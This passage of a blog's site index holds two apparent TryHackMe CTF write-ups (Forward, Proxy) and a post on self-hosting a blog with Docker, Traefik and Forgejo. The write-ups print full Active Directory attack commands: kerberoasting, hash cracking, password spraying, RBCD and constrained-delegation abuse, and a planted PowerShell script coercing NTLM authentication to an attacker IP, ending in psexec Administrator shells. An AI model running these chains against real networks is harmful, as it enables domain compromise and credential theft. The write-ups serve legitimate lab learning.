Directory LDAP (Domain: ctf.local0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ctf.local0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 3389/tcp open ms-wbt-server Microsoft Terminal Services |_ssl-date: 2026-11-04T09:01:20+00:00; 0s from scanner time. | rdp-ntlm-info: | Target_Name: CTF | NetBIOS_Domain_Name: CTF | NetBIOS_Computer_Name: DC01 | DNS_Domain_Name: ctf.local | DNS_Computer_Name: DC01.ctf.local | Product_Version: 10.0.17763 |_ System_Time: 2026-11-04T09:00:40+00:00 | ssl-cert: Subject: commonName=DC01.ctf.local | Not valid before: 2026-11-03T08:46:20 |_Not valid after: 2027-05-05T08:46:20 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 9389/tcp open mc-nmf .NET Message Framing 49669/tcp open msrpc Microsoft Windows RPC 49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49671/tcp open msrpc Microsoft Windows RPC 49674/tcp open msrpc Microsoft Windows RPC 49699/tcp open msrpc Microsoft Windows RPC 54598/tcp open msrpc Microsoft Windows RPC Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 311: |_ Message signing enabled and required | smb2-time: | date: 2026-11-04T09:00:42 |_ start_date: N/A The machine seems to be a domain controller with the FQDN dc01.ctf.local. I will update /etc/hosts to make sure my machine resolves the names correctly:\n10.81.135.51 dc01.ctf.local 10.81.135.51 ctf.local Before running bloodhound, I would like to check the credentials with nxc and search SMB for useful information (low-hanging fruit):\nnxc smb $TARGET -u $TUSER -p $TPASS | grep \u0026#39;[+]\u0026#39; SMB 10.81.135.51 445 DC01 [+] ctf.local\\j.smith:JSmith@IT2024 Credentials confirmed. Now, I will enumerate the SMB shares:\nsmbmap -H $TARGET -u $TUSER -p $TPASS Disk Permissions\tComment ---- -----------\t------- ADMIN$ NO ACCESS\tRemote Admin C$ NO ACCESS\tDefault share Downloads READ ONLY\tFile drop share IPC$ READ ONLY\tRemote IPC NETLOGON READ ONLY\tLogon server share SYSVOL READ ONLY\tLogon server share There is a read-only Downloads share, but it\u0026rsquo;s empty. Dead end. Back to bloodhound:\nbloodhound.py --zip -c All -d $DOMAIN -u $TUSER -p $TPASS -ns $TARGET -dc \u0026#34;dc01.ctf.local\u0026#34; After importing the results, I checked the Shortest path to Domain Admins predefined query and found a way to reach the Domain Admins group through the user r.williams:\nPwning r.williams # First, I want to enumerate all users in the domain to see which accounts we can inspect further. We can do that with bloodhound or nxc:\nnxc smb $TARGET -u $TUSER -p $TPASS --users We get a nice list of users:\nAdministrator Guest krbtgt j.smith t.jones r.williams svc.helpdesk Pwning svc.helpdesk - dead end # In bloodhound, we find that svc.helpdesk is a Kerberoastable user:\nWe can request a TGS ticket for the account and try to crack it offline:\nnxc ldap $TARGET -u $TUSER -p $TPASS --kerberoasting svc.helpdesk I used Hashcat and rockyou.txt to crack the service account password, but I had no success.\nhashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt Pwning t.jones # By checking the members of the Remote Desktop Users group, I found that j.smith, t.jones, and r.williams are all members:\nThis allows us to connect to these users via RDP. I connected to the system using the breached credentials, and I began searching the user home directory (C:\\Users\\j.smith) for potential information:\nWe can see an interesting file, C:\\Users\\j.smith\\Documents\\Database.kdbx, which is a KeePass file containing a password database. We can open the file in KeePass 2:\nAfter multiple failed attempts, I discovered that we can leave the Master password field empty and click OK to get access:\nThis reveals credentials for the t.jones account! We can verify them as well:\nThe final blow # After attempting to find clues by connecting to the t.jones account, the breakthrough came when I tried to see if the credentials were reused by any other account. We can check each discovered user against the passwords we have so far and see if we get more matches:\nnxc smb $TARGET -u users.txt -p pass.txt --continue-on-success | grep \u0026#39;[+]\u0026#39; And we get a match for r.williams!\nBecoming Administrator # Now that we have pwned r.williams, let\u0026rsquo;s get back to bloodhound and see how to reach the Administrator account.\nApparently, r.williams is allowed to modify msDS-AllowedToActOnBehalfOfOtherIdentity on DC01. This means we can add an account to the list of principals that DC01 will allow to access its services on behalf of other users.\nBut in order to abuse this, we need an account that has an SPN. Neither r.williams nor the other users we pwned have one. This is required to use the S4U2self/S4U2proxy process. To get an account with an SPN, we can try to create a computer account and add it to the list.\nNext are the steps suggested by BloodHound\u0026rsquo;s Linux abuse recommendation, adapted to my environment.\nWe can use Impacket\u0026rsquo;s addcomputer.py to try to create a computer account:\naddcomputer.py -method SAMR -computer-name \u0026#39;ATTACKERSYSTEM$\u0026#39; -computer-pass \u0026#39;Summer2018!\u0026#39; -dc-host $TARGET -domain-netbios \u0026#34;CTF\u0026#34; \u0026#34;$DOMAIN/$TUSER:$TPASS\u0026#34; Successful! Now we can use our privilege to modify msDS-AllowedToActOnBehalfOfOtherIdentity and add the newly created account to the list:\nrbcd.py -delegate-from \u0026#39;ATTACKERSYSTEM$\u0026#39; -delegate-to \u0026#39;DC01$\u0026#39; -action \u0026#39;write\u0026#39; \u0026#34;$DOMAIN/$TUSER:$TPASS\u0026#34; -debug -dc-ip $TARGET Using that new account, we can now request a TGS for the CIFS service on DC01 on behalf of Administrator:\ngetST.py -spn \u0026#34;cifs/dc01.$DOMAIN\u0026#34; -impersonate \u0026#39;Administrator\u0026#39; \u0026#39;ctf.local/attackersystem$:Summer2018!\u0026#39; -dc-ip $TARGET That\u0026rsquo;s it! We can now spawn a shell as Administrator and read the flag:\nexport KRB5CCNAME=\u0026#34;/path/to/your/ccache\u0026#34; psexec.py \u0026#34;Administrator\u0026#34;@dc01.ctf.local -k -no-pass ","date":"7 November 2026","externalUrl":null,"permalink":"/writeups/tryhackme/forward/","section":"Writeups","summary":"Assumed breach scenario with multiple misconfigurations. It requires thorough enumeration and compromising multiple domain accounts before reaching the Domain Administrator.","title":"Forward","type":"writeups"},{"content":"","date":"7 November 2026","externalUrl":null,"permalink":"/tools/hashcat/","section":"Tools","summary":"","title":"Hashcat","type":"tools"},{"content":"","date":"7 November 2026","externalUrl":null,"permalink":"/tools/impacket/","section":"Tools","summary":"","title":"Impacket","type":"tools"},{"content":"","date":"7 November 2026","externalUrl":null,"permalink":"/difficulty/medium/","section":"Difficulty","summary":"","title":"Medium","type":"difficulty"},{"content":"","date":"7 November 2026","externalUrl":null,"permalink":"/tools/nmap/","section":"Tools","summary":"","title":"Nmap","type":"tools"},{"content":"","date":"3 November 2026","externalUrl":null,"permalink":"/topics/file-based-coercion-attack/","section":"Topics","summary":"","title":"File-Based Coercion Attack","type":"topics"},{"content":" Description # Every request has to go through someone\u0026hellip; but what if that someone is you? Route your way through an Active Directory environment, intercept what you shouldn\u0026rsquo;t, and pull the strings from behind the proxy. Nothing gets through without your say.\nCheck the challenge here.\nSolution # Setup: I used exegol free - v.3.1.14 to solve this challenge.\nUnauthenticated Enumeration # I am going to start with a basic nmap scan to check the open TCP ports and the services running on the system:\nnmap -sC -sV -p- 10.82.175.133 PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-10-29 16:04:24Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ctf.local0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ctf.local0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 3389/tcp open ms-wbt-server Microsoft Terminal Services | rdp-ntlm-info: | Target_Name: CTF | NetBIOS_Domain_Name: CTF | NetBIOS_Computer_Name: DC01 | DNS_Domain_Name: ctf.local | DNS_Computer_Name: DC01.ctf.local | DNS_Tree_Name: ctf.local | Product_Version: 10.0.17763 |_ System_Time: 2026-10-29T16:05:13+00:00 |_ssl-date: 2026-10-29T16:05:52+00:00; -1s from scanner time. | ssl-cert: Subject: commonName=DC01.ctf.local | Not valid before: 2026-10-28T14:39:35 |_Not valid after: 2027-04-29T14:39:35 7680/tcp filtered pando-pub 9389/tcp open mc-nmf .NET Message Framing 49668/tcp open msrpc Microsoft Windows RPC 49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49675/tcp open msrpc Microsoft Windows RPC 49677/tcp open msrpc Microsoft Windows RPC Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2026-10-29T16:05:15 |_ start_date: N/A | smb2-security-mode: | 311: |_ Message signing enabled and required The scan identifies a Domain Controller as our target:\nDomain: ctf.local Host: DC01 I will add the entry to /etc/hosts on our system so I can reference it in future commands:\n10.82.175.133 dc01.ctf.local 10.82.175.133 ctf.local First, I would like to check the low-hanging fruit, and I will start with anonymous authentication on SMB:\nsmbclient -L //10.82.175.133 -N Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC IT-Shared Disk IT Department Shared Resources NETLOGON Disk Logon server share SYSVOL Disk Logon server share There is one non-default share called IT-Shared. Let\u0026rsquo;s see if we can connect to it without being authenticated:\nsmbclient -N //10.82.175.133/IT-Shared Try \u0026#34;help\u0026#34; to get a list of possible commands. smb: \\\u0026gt; ls . D 0 Fri May 22 05:19:03 2026 .. D 0 Fri May 22 05:19:03 2026 IT-Credentials-Backup.txt A 406 Fri May 22 05:18:15 2026 IT-Onboarding-Checklist.txt A 676 Fri May 22 05:18:16 2026 IT-Portal.html A 4887 Fri May 22 05:19:03 2026 7863807 blocks of size 4096. 3559577 blocks available smb: \\\u0026gt; Access is successful! Now we can access those files and peek inside to look for credentials.\nIT-Credentials-Backup.txt:\nIT Department - Credentials Backup =================================== Generated: 2019-08-14 Status: ARCHIVED (accounts disabled pending security review) helpdesk.bob : [REDACTED_PASSWORD] [DISABLED - left company 2021] it.admin : [REDACTED_PASSWORD] [DISABLED - role change 2022] NOTE: These accounts have been disabled. Active service accounts are managed separately by the sysadmin team. IT-Onboarding-Checklist.txt:\nIT Department Onboarding Checklist ==================================== Welcome to the team! 1. Get VPN access from sysadmin 2. Request AD account 3. Install tools (see software list on intranet) 4. Review security policies Automated Services ------------------ File Scanner (svc.scanner) Runs every 2 minutes. Enumerates IT-Shared for new files to process. Uses Shell enumeration to inspect file metadata and icons. Contact sysadmin if files are not being processed. Database Backup (svc.mssql) Handles nightly MSSQL backups. Member of Backup Operators. Password rotated quarterly -- do not store locally. Questions? Email helpdesk@ctf.local Here is some useful content from IT-Portal.html:\n\u0026lt;div class=\u0026#34;card\u0026#34;\u0026gt; \u0026lt;h3\u0026gt;Service Status\u0026lt;/h3\u0026gt; \u0026lt;table\u0026gt; \u0026lt;tr\u0026gt;\u0026lt;th\u0026gt;Service\u0026lt;/th\u0026gt;\u0026lt;th\u0026gt;Host\u0026lt;/th\u0026gt;\u0026lt;th\u0026gt;Status\u0026lt;/th\u0026gt;\u0026lt;th\u0026gt;Uptime\u0026lt;/th\u0026gt;\u0026lt;/tr\u0026gt; \u0026lt;tr\u0026gt; \u0026lt;td\u0026gt;Active Directory\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;DC01.ctf.local\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;\u0026lt;span class=\u0026#34;dot green\u0026#34;\u0026gt;\u0026lt;/span\u0026gt;Online\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;32 d\u0026lt;/td\u0026gt; \u0026lt;/tr\u0026gt; \u0026lt;tr\u0026gt; \u0026lt;td\u0026gt;DNS\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;DC01.ctf.local\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;\u0026lt;span class=\u0026#34;dot green\u0026#34;\u0026gt;\u0026lt;/span\u0026gt;Online\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;32 d\u0026lt;/td\u0026gt; \u0026lt;/tr\u0026gt; \u0026lt;tr\u0026gt; \u0026lt;td\u0026gt;File Share (IT-Shared)\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;DC01.ctf.local\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;\u0026lt;span class=\u0026#34;dot green\u0026#34;\u0026gt;\u0026lt;/span\u0026gt;Online\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;32 d\u0026lt;/td\u0026gt; \u0026lt;/tr\u0026gt; \u0026lt;tr\u0026gt; \u0026lt;td\u0026gt;Backup Agent\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;SRV01.ctf.local\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;\u0026lt;span class=\u0026#34;dot yellow\u0026#34;\u0026gt;\u0026lt;/span\u0026gt;Degraded\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;11 d\u0026lt;/td\u0026gt; \u0026lt;/tr\u0026gt; \u0026lt;tr\u0026gt; \u0026lt;td\u0026gt;Monitoring\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;SRV02.ctf.local\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;\u0026lt;span class=\u0026#34;dot red\u0026#34;\u0026gt;\u0026lt;/span\u0026gt;Offline\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;\u0026amp;#8212;\u0026lt;/td\u0026gt; \u0026lt;/tr\u0026gt; \u0026lt;/table\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;card\u0026#34;\u0026gt; \u0026lt;h3\u0026gt;Recent Tickets\u0026lt;/h3\u0026gt; \u0026lt;table\u0026gt; \u0026lt;tr\u0026gt;\u0026lt;th\u0026gt;#\u0026lt;/th\u0026gt;\u0026lt;th\u0026gt;Subject\u0026lt;/th\u0026gt;\u0026lt;th\u0026gt;Assigned\u0026lt;/th\u0026gt;\u0026lt;th\u0026gt;Priority\u0026lt;/th\u0026gt;\u0026lt;/tr\u0026gt; \u0026lt;tr\u0026gt;\u0026lt;td\u0026gt;1042\u0026lt;/td\u0026gt;\u0026lt;td\u0026gt;Printer offline – 2nd floor\u0026lt;/td\u0026gt;\u0026lt;td\u0026gt;j.smith\u0026lt;/td\u0026gt;\u0026lt;td\u0026gt;Low\u0026lt;/td\u0026gt;\u0026lt;/tr\u0026gt; \u0026lt;tr\u0026gt;\u0026lt;td\u0026gt;1041\u0026lt;/td\u0026gt;\u0026lt;td\u0026gt;VPN access request – new hire\u0026lt;/td\u0026gt;\u0026lt;td\u0026gt;svc.helpdesk\u0026lt;/td\u0026gt;\u0026lt;td\u0026gt;Normal\u0026lt;/td\u0026gt;\u0026lt;/tr\u0026gt; \u0026lt;tr\u0026gt;\u0026lt;td\u0026gt;1039\u0026lt;/td\u0026gt;\u0026lt;td\u0026gt;Password reset – m.jones\u0026lt;/td\u0026gt;\u0026lt;td\u0026gt;svc.helpdesk\u0026lt;/td\u0026gt;\u0026lt;td\u0026gt;Normal\u0026lt;/td\u0026gt;\u0026lt;/tr\u0026gt; \u0026lt;tr\u0026gt;\u0026lt;td\u0026gt;1037\u0026lt;/td\u0026gt;\u0026lt;td\u0026gt;Backup job failed on SRV01\u0026lt;/td\u0026gt;\u0026lt;td\u0026gt;Unassigned\u0026lt;/td\u0026gt;\u0026lt;td\u0026gt;\u0026lt;strong\u0026gt;High\u0026lt;/strong\u0026gt;\u0026lt;/td\u0026gt;\u0026lt;/tr\u0026gt; \u0026lt;/table\u0026gt; \u0026lt;/div\u0026gt; Okay, let\u0026rsquo;s review the information gathered so far:\nSystems:\nDC01.ctf.local - Domain Controller (Up) SRV01.ctf.local - Backup Agent (Down) SRV02.ctf.local - Backup Agent (Down) Usernames:\nj.smith m.jones svc.helpdesk it.admin helpdesk.bob svc.scanner svc.mssql And we also got two potential passwords.\nWe can use kerbrute to check which usernames in the user list are valid:\nkerbrute userenum --domain \u0026#34;ctf.local\u0026#34; --dc 10.82.175.133 users.txt | grep \u0026#39;[+]\u0026#39; 2026/10/31 13:45:50 \u0026gt; [+] VALID USERNAME:\tsvc.mssql@ctf.local 2026/10/31 13:45:50 \u0026gt; [+] VALID USERNAME:\tsvc.scanner@ctf.local Only the service accounts are flagged as valid. Next, I tried a password spray with the validated accounts and passwords found in the share to see if there was any password reuse:\nnxc smb $TARGET -u valid_users.txt -p pass.txt --continue-on-success | grep \u0026#39;[+]\u0026#39; Nothing.\nThe IT-Onboarding-Checklist.txt file mentions an automated service that scans the share for new files and \u0026ldquo;processes\u0026rdquo; them for the icon and metadata. I tried to create an .url (Internet Shortcut) file that points the icon path to a share we control and force the system to reveal its Net-NTLMv2 challenge-response, but it did not work. The solution was to create a .ps1 script that the service automatically executes.\nI tried to get a reverse shell, but the session was quickly terminated:\nI can force the server to authenticate to my fake SMB server by using a simple script that checks whether a UNC path exists:\nTest-Path \\\\192.168.128.171\\share\\icon.ico Upload the script to the share and listen with responder:\nresponder -I tun0 -v We got the challenge-response! Now we can save it to a file (hash.txt) and crack it with hashcat using the rockyou.txt password list:\nhashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt --force We can verify the credentials with nxc:\nnxc smb 10.82.175.133 -u \u0026#39;svc.scanner\u0026#39; -p \u0026#39;[REDACTED_PASSWORD]\u0026#39; | grep \u0026#39;[+]\u0026#39; SMB 10.82.175.133 445 DC01 [+] ctf.local\\svc.scanner:[REDACTED_PASSWORD] Authenticated Enumeration # Now that I have a valid set of credentials, I can run bloodhound against the infrastructure to get more information:\nbloodhound.py --zip -c All -d \u0026#34;ctf.local\u0026#34; -u \u0026#34;svc.scanner\u0026#34; -p \u0026#39;[REDACTED_PASSWORD]\u0026#39; -ns \u0026#34;10.82.175.133\u0026#34; -dc \u0026#34;dc01.ctf.local\u0026#34; After uploading the .zip file to the bloodhound web app, I selected the predefined Shortest paths to Domain Admins query and saw a path from svc.scanner to Domain Admins:\nThere I found that svc.scanner is configured for constrained delegation to services on DC01.ctf.local. This means that I can impersonate users when authenticating to the specific services listed in the msDS-AllowedToDelegateTo LDAP property.\nTo check the property, we can use the following command:\nldapsearch -x -H ldap://10.82.175.133 \\ -D \u0026#34;svc.scanner@ctf.local\u0026#34; -w \u0026#39;[REDACTED_PASS]\u0026#39; \\ -b \u0026#34;DC=ctf,DC=local\u0026#34; \u0026#34;(msDS-AllowedToDelegateTo=*)\u0026#34; \\ sAMAccountName msDS-AllowedToDelegateTo Exploitation # The property contains cifs/DC01.ctf.local and cifs/DC01, which identify the SMB/file-sharing service. This is perfect because we can impersonate the Administrator account and have elevated rights on the SMB share, which will allow us to execute commands as NT AUTHORITY\\SYSTEM.\nTo impersonate the Administrator, we can request a service ticket from the KDC:\ngetST.py -spn cifs/DC01.ctf.local -impersonate Administrator ctf.local/svc.scanner:\u0026#39;[REDACTED_PASSWORD]\u0026#39; Then, make sure the KRB5CCNAME environment variable is set to the correct path of the resulting .ccache file.\nexport KRB5CCNAME=\u0026#34;/path/to/ccache/file\u0026#34; Now, we can spawn a shell as the Administrator using psexec.py (Impacket):\npsexec.py \u0026#34;Administrator\u0026#34;@dc01.ctf.local -k -no-pass ","date":"3 November 2026","externalUrl":null,"permalink":"/writeups/tryhackme/proxy/","section":"Writeups","summary":"Got an initial foothold through a vulnerable service account running scripts from an accessible SMB share, then abused its constrained delegation to impersonate the domain Administrator, resulting in full domain compromise.","title":"Proxy","type":"writeups"},{"content":"","date":"3 November 2026","externalUrl":null,"permalink":"/tools/smbclient/","section":"Tools","summary":"","title":"Smbclient","type":"tools"},{"content":"","date":"24 September 2026","externalUrl":null,"permalink":"/topics/ci/cd/","section":"Topics","summary":"","title":"CI/CD","type":"topics"},{"content":"","date":"24 September 2026","externalUrl":null,"permalink":"/tools/docker/","section":"Tools","summary":"","title":"Docker","type":"tools"},{"content":"","date":"24 September 2026","externalUrl":null,"permalink":"/tools/forgejo/","section":"Tools","summary":"","title":"Forgejo","type":"tools"},{"content":"","date":"24 September 2026","externalUrl":null,"permalink":"/topics/home-lab/","section":"Topics","summary":"","title":"Home Lab","type":"topics"},{"content":" Introduction # There are many websites that teach you how to host a blog, and on most of them you end up paying $5 each month for resources and a domain.\nI wished for something different; I already had a Raspberry Pi lying around, and I wanted full control, privacy, and a free blog that doesn\u0026rsquo;t require me to pay more than the electricity it consumes.\nNext, you will see how I managed to successfully build a hybrid infrastructure using a Raspberry Pi sitting in my living room and an Oracle Cloud free-tier instance.\nArchitecture # Hardware # The infrastructure is deployed on two Ubuntu nodes (Ubuntu 24.04.5 LTS specifically). One is my Raspberry Pi 5 at home, and the other is an Oracle Cloud free-tier virtual machine (VM) running in Frankfurt.\nI could have hosted this blog on just one host, but I decided to split it into two machines for three reasons:\nResources: The free-tier instance in the cloud has limited resources available, and I thought it would be wise to split the load. Privacy: By hosting my website in the cloud, I am not exposing my home IP address directly to visitors. Learning: It\u0026rsquo;s a good learning experience to work with a hybrid infrastructure. Platform management # There are multiple services that need to run together on a host to be able to publish a blog, and to manage them effectively, I am launching them in containers.\nDocker Docker is containerization software that works great on Linux systems. It allows you to run lightweight containers directly on your host machine; each container can be dedicated to one service and all its dependencies. This makes setups like mine much easier to manage (update, delete, and customize services with just a few commands). Also, if done correctly, the isolation introduces an additional layer of security.\nPortainer Community Edition To further boost the potential of Docker, I am also using Portainer. The Community Edition is open-source and extremely easy to set up and learn; it integrates a ton of tools into its web interface, which makes playing around with Docker containers really fun.\nThe whole project sits inside Portainer as a Docker Compose file, which I update and redeploy whenever I need to change something.\nNetworking # I am using a few networking concepts throughout the process of developing this blog. In this section, I will briefly go through the most important.\nVPN # A VPN connection is what allows two or more machines to communicate privately and securely over the internet. It creates a tunnel between devices, and all packets that pass through that tunnel are encrypted and accessible only to the endpoints that are connected to each other.\nOpenVPN To achieve this in my setup, I chose the open-source project OpenVPN. It\u0026rsquo;s old but gold, still standing as a go-to when it comes to security, configuration, and features.\nHere is an overview of the steps that I took to make the connection work:\nI set up an OpenVPN server on the Raspberry Pi and created a client certificate for the Oracle VM. I opened and forwarded the port on my home router so VPN traffic could reach the host. On the Oracle VM, I set up the OpenVPN client and configured it to connect to the server using the generated certificate (+ firewall configurations to allow VPN traffic). DNS # DNS is what allows my blog to be reachable using a human-readable domain, and it\u0026rsquo;s an absolute necessity if you want your blog to be accessed by human beings. The problem is that you need to pay to own a domain.\nTo circumvent that, I use a subdomain steopoaie.vlad.md. This is a free subdomain I got from FreeDNS. The platform allows me to manage as many subdomains as I want for any public domain listed on the website (I found vlad.md to be a suitable domain for me). For hosting this simple blog, I only needed to add an A DNS record that points to my Oracle IP address.\nTraffic Routing \u0026amp; TLS # Now that my machine can be reached by normal human beings with a browser, I need to serve the files on the web.\nNginx Nginx is usually the web server I default to when I need to serve something serious; it\u0026rsquo;s fast, reliable, lightweight, and works great with Docker.\nHowever, hosting the blog over HTTP is not enough these days (some browsers won\u0026rsquo;t even open the website if it\u0026rsquo;s not secured). To make this website fully accessible, I needed a TLS certificate so that clients could establish a secure connection with my web server. I found that Let\u0026rsquo;s Encrypt is a nonprofit that provides free certificates, so I just needed a way to acquire them.\nTraefik Traefik is an open-source reverse proxy. I use it in my setup to manage the acquisition and renewal of TLS certificates automatically. Traefik also has a plugin ecosystem that can add some interesting features to the setup.\nWhat I love about this service is that it integrates flawlessly with Docker and saves me so much configuration headache. In order to forward traffic from Traefik to your desired service, you only need to specify the configuration as Docker labels in your Docker Compose file, and Traefik takes care of the rest.\nHere is a snippet of the Docker Compose file I am using:\nservices: # Web proxy container to manage TLS certificates traefik: image: traefik:latest container_name: traefik # expose web ports (HTTP and HTTPS) ports: - \u0026#34;80:80\u0026#34; - \u0026#34;443:443\u0026#34; # Nginx container to host my blog web-server: image: nginx:alpine container_name: web-server # Labels defined for Traefik labels: # Enable routing - traefik.enable=true - traefik.http.routers.blog.rule=Host(`steopoaie.vlad.md`) - traefik.http.routers.blog.entrypoints=websecure # specify Traefik gateway (defined by me) - traefik.http.routers.blog.tls=true # enable tls - traefik.http.routers.blog.tls.certresolver=letsencrypt # defined by me to use letsencrypt - traefik.http.services.blog.loadbalancer.server.port=80 # Nginx is serving on port 80 And it\u0026rsquo;s done; no extra configuration needed, and it works for as many services as you want. And the best part is that all routing is done through the local Docker network, which does not require me to expose any service.\nThe Development Pipeline # Forgejo Forgejo is a versioning platform that uses Git (like GitHub, but open-source and self-hosted). I chose to use it to learn more about how to manage a versioning service and also to benefit from the advantages of using Git for development. It also comes with some CI/CD functionality through Forgejo Actions.\nBelow you can find an overview of the CI/CD pipeline behind this project.\nDevelopment # For the development of this blog, I use Hugo with the Blowfish theme. Hugo is a great framework that allows you to build static websites easily using Markdown; this makes it a great option for a blog.\nFor my development flow, I use Git. I have one development branch for new features and bug fixes, and one production branch. Then, whenever I want to publish my changes, I create a pull request to merge them into the production branch; the publishing workflow is triggered automatically once the pull request is validated. The workflow has two jobs called Build and Deploy.\nBuild # The Build job runs in a Docker container that has hugo preinstalled. It compiles the project and stores the raw HTML, CSS, and JS artifacts to be deployed by the next job.\nForgejo Actions are executed by a Forgejo Runner, which in my case is another Docker container running alongside the other services. A runner can spin up machines or containers to run the jobs defined in the workflow.\nTo allow the Forgejo Runner to create containers and run jobs within them, I needed to provide it access to my local Docker socket. This can be a messy and insecure process. A better solution is to use Docker in Docker or DinD. DinD is a Docker container with Docker installed; the Docker daemon of the container can be exposed via a TCP socket, where the Forgejo Runner can connect and launch containers.\nDeploy # The Deploy job spins up a custom Docker image, fetches the artifacts, and uploads them to the Oracle VM using rsync over ssh. The job connects using a dedicated user with limited permissions on the Oracle VM.\nBelow is a snippet of the workflow .yaml file I am using:\nname: Build hugo project \u0026#34;on\u0026#34;: push: branches: - main jobs: build: name: build runs-on: hugo defaults: run: shell: sh steps: # get repository - name: Checkout uses: actions/checkout@v6 with: fetch-depth: \u0026#34;0\u0026#34; submodules: recursive - name: Running build run: hugo --gc --minify --environment $HUGO_ENVIRONMENT env: [ENVIRONMENT VARIABLES HERE] # upload artifacts for deployment - name: Upload artifact uses: actions/upload-artifact@v3 with: name: hugo-site path: public/ deploy: name: deploy runs-on: ubuntu-deploy # custom docker image needs: build defaults: run: shell: bash steps: - name: Download artifact # uploaded by the build job uses: actions/download-artifact@v3 with: name: hugo-site path: public/ # deployment using `ssh` and `rsync` - name: Deploy to VPS run: | mkdir -p ~/.ssh echo \u0026#34;$SSH_KEY\u0026#34; \u0026gt; ~/.ssh/id_deploy chmod 600 ~/.ssh/id_deploy ssh-keyscan -p 20202 -H \u0026#34;$SSH_HOST\u0026#34; \u0026gt;\u0026gt; ~/.ssh/known_hosts rsync -avvz --delete public/ -e \u0026#34;ssh -vvv -i ~/.ssh/id_deploy\u0026#34; \u0026#34;$SSH_USER@$SSH_HOST:$DEPLOY_PATH\u0026#34; env: [ENVIRONMENT VARIABLES HERE] Security # Fortunately for me, this blog is static, which means that I don\u0026rsquo;t have any backend service like a database or an API.\nThis fact alone eliminates a lot of potential attack vectors that can harm my setup, but as any system can eventually be hacked, mine can be too. Let\u0026rsquo;s see how.\nAttack surface # Since I did not write backend code, a priority for me is to protect my infrastructure and any potential entry point in my system.\nAt first glance, what is visible from outside is my Oracle VM, which exposes four ports:\nTCP 80 (HTTP) TCP 443 (HTTPS) VPN port (OpenVPN server for different reasons) SSH port Good security practices # System updates: Vulnerabilities appear nearly every day, so I have to make sure the code running on my host is up to date and patched. For now, I do weekly updates manually, but I plan to switch to an automated method.\nFirewall: The Oracle Cloud security lists and the local iptables configuration protect my machine from unforeseen attack surface exposure. All services are unreachable by default, and rules have to be defined manually.\nSSH: To avoid automated attacks, SSH does not run on the default port (22). Password authentication is disabled, and there are different users with limited permissions to reduce damage in case secrets leak by mistake.\nDocker hardening # Even on an updated system, there is a possibility that I might be late with a security patch or that the service might have a 0-day. In that case, if an attacker manages to hack one of the web services (Traefik or Nginx) and gain a reverse shell, they will find themselves in a Docker container.\nHere are some steps I took to harden my Docker Compose configuration and minimize the potential damage an attacker can do:\n# this is only a snippet to showcase the security options traefik: image: traefik:v3 container_name: traefik restart: unless-stopped security_opt: - no-new-privileges:true # prevent gaining new privileges # through SUID binaries mem_limit: 512m # good option to limit DoS attacks cpus: 0.5 cap_drop: # dropping all capabilities - ALL cap_add: # add only necessary capabilities - NET_BIND_SERVICE ports: - \u0026#34;80:80\u0026#34; - \u0026#34;443:443\u0026#34; web-server: image: nginx:alpine container_name: web-server user: nginx # force the use of a non-root user security_opt: - no-new-privileges:true read_only: true # the container cannot write on disk tmpfs: # a few locations to write logs in memory - /var/cache/nginx:uid=101,gid=101,mode=1700 - /var/run:uid=101,gid=101,mode=1700 # no capabilities needed cap_drop: - ALL # DoS protection mem_limit: 512m cpus: 0.5 Conclusion # This wraps up the overview of the setup behind this website. I am still improving and changing things as time goes on, so probably in the future things will look quite different; the only thing I hope to stay the same is the fact of not paying. Leave me a message if you see things that can be improved, security blind spots, or if you just want to know more!\n","date":"24 September 2026","externalUrl":null,"permalink":"/posts/how_to_host_a_blog/","section":"Posts","summary":"This post tries to showcase the hidden part of this website: the hardware, the CI/CD pipeline, services, and security.","title":"How I am self-hosting this blog (for free)","type":"posts"},{"content":"","date":"24 September 2026","externalUrl":null,"permalink":"/tools/nginx/","section":"Tools","summary":"","title":"Nginx","type":"tools"},{"content":"","date":"24 September 2026","externalUrl":null,"permalink":"/tools/openvpn/","section":"Tools","summary":"","title":"OpenVPN","type":"tools"},{"content":"","date":"24 September 